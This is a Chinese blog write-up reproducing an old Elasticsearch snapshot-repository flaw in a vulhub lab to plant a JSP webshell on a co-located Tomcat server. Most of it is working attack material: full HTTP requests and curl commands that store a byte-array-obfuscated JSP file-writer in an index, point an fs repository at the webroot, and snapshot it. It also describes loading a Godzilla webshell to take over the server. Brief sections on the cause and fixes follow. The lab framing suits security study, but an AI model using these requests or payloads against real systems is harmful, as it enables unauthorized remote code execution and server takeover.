1. 程式人生 > 其它 >漏洞復現-wooyun-2015-110216-Elasticsearch寫入webshell

漏洞復現-wooyun-2015-110216-Elasticsearch寫入webshell

0x00 實驗環境

攻擊機:Win 10

靶場:docker拉的vulhub靶場

0x01 影響版本

1.5.x以前(其實跟CVE-2015-5531-ElasticSearch 目錄穿越是差不多型別的漏洞,相當於是利用該漏洞來getshell吧)

0x02 漏洞復現

(1)訪問存在的漏洞頁面:(9200一般為ElasticSearch的常用埠),此漏洞環境需要與tomcat結合使用,發現8080埠存在tomcat預設配置頁面。

(2)發現9200埠存在elasticsearch頁面:

(3)建立一個惡意索引文件:

POST /a.jsp/a.jsp/1 HTTP/1.1
Host:x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text
/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: settingStore=1630480512401_0 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 228 {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

或者kali執行也可以:

curl -XPOST http://x.x.x.x:9200/a.jsp/a.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'

(4)再建立一個惡意的儲存庫,其中location

的值即為要寫入的路徑(需要根據肉雞的tomcat的www目錄來決定)

PUT /_snapshot/a.jsp HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}

或kali執行:

curl -XPUT 'http://x.x.x.x:9200/_snapshot/a.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'

(5)儲存庫驗證並建立:

PUT /_snapshot/a.jsp/a.jsp HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

{
     "indices": "a.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}

或kali執行:

curl -XPUT "http://x.x.x.x:9200/_snapshot/a.jsp/a.jsp" -d '{
     "indices": "a.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'

上述(3)(4)(5)作用是向wwwroot下的test.jsp檔案中寫入任意字串:

回容器發現已成功寫入了一個jsp的shell:

寫入jsp一句話木馬,有些抄襲的檔案真的過分,這個jsp的檔案明明是通過8080來訪問的,有的就是寫錯為9200,所以還是不要全信了網上的文章:

http://x.x.x.x:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=success

www根目錄下會生成一個test.jsp的檔案,並會成功被寫入success

修改為123456的話,寫入的內容也會是123456

http://x.x.x.x:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=123456s

(6)現在來寫入一句話木馬:哥斯拉生成一句話木馬:

a.生成jsp的shell:

b:URL編碼jsp的shell並在f=後輸入改編碼好的shell:

c:訪問該shell顯示成功:

d.獲取該伺服器的許可權:

0x03 漏洞原理

找了半天沒找到漏洞原理,寫個大概的吧:

(1)1.5.1及以前,無需任何配置即可觸發該漏洞。之後的新版,配置檔案elasticsearch.yml中必須存在path.repo,該配置值為一個目錄,且該目錄必須可寫,等於限制了備份倉庫的根位置。不配置該值,預設不啟動這個功能。

(2)ElasticSearch具有備份資料的功能,使用者可以傳入一個路徑,讓其將資料備份到該路徑下,且檔名和字尾都可控。所以,如果同文件系統下還跑著其他服務,如Tomcat、PHP等,我們可以利用ElasticSearch的備份功能寫入一個webshell

(3)和CVE-2015-5531類似,該漏洞和備份倉庫有關。在elasticsearch1.5.1以後,其將備份倉庫的根路徑限制在配置檔案的配置項path.repo中,而且如果管理員不配置該選項,則預設不能使用該功能。即使管理員配置了該選項,web路徑如果不在該目錄下,也無法寫入webshell。所以該漏洞影響的ElasticSearch版本是1.5.x以前。

0x04 修復建議

1、升級版本

2、將repo目錄許可權設定為僅可讀,不可寫(自己建議的,僅在不影響業務的前提下)

0x05 參考文獻

https://blog.csdn.net/JiangBuLiu/article/details/94552936

0x06 免責宣告

本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網路安全奉獻一份力量,凡是利用本部落格相關內容的無良hackers造成的安全事故均與本人無關!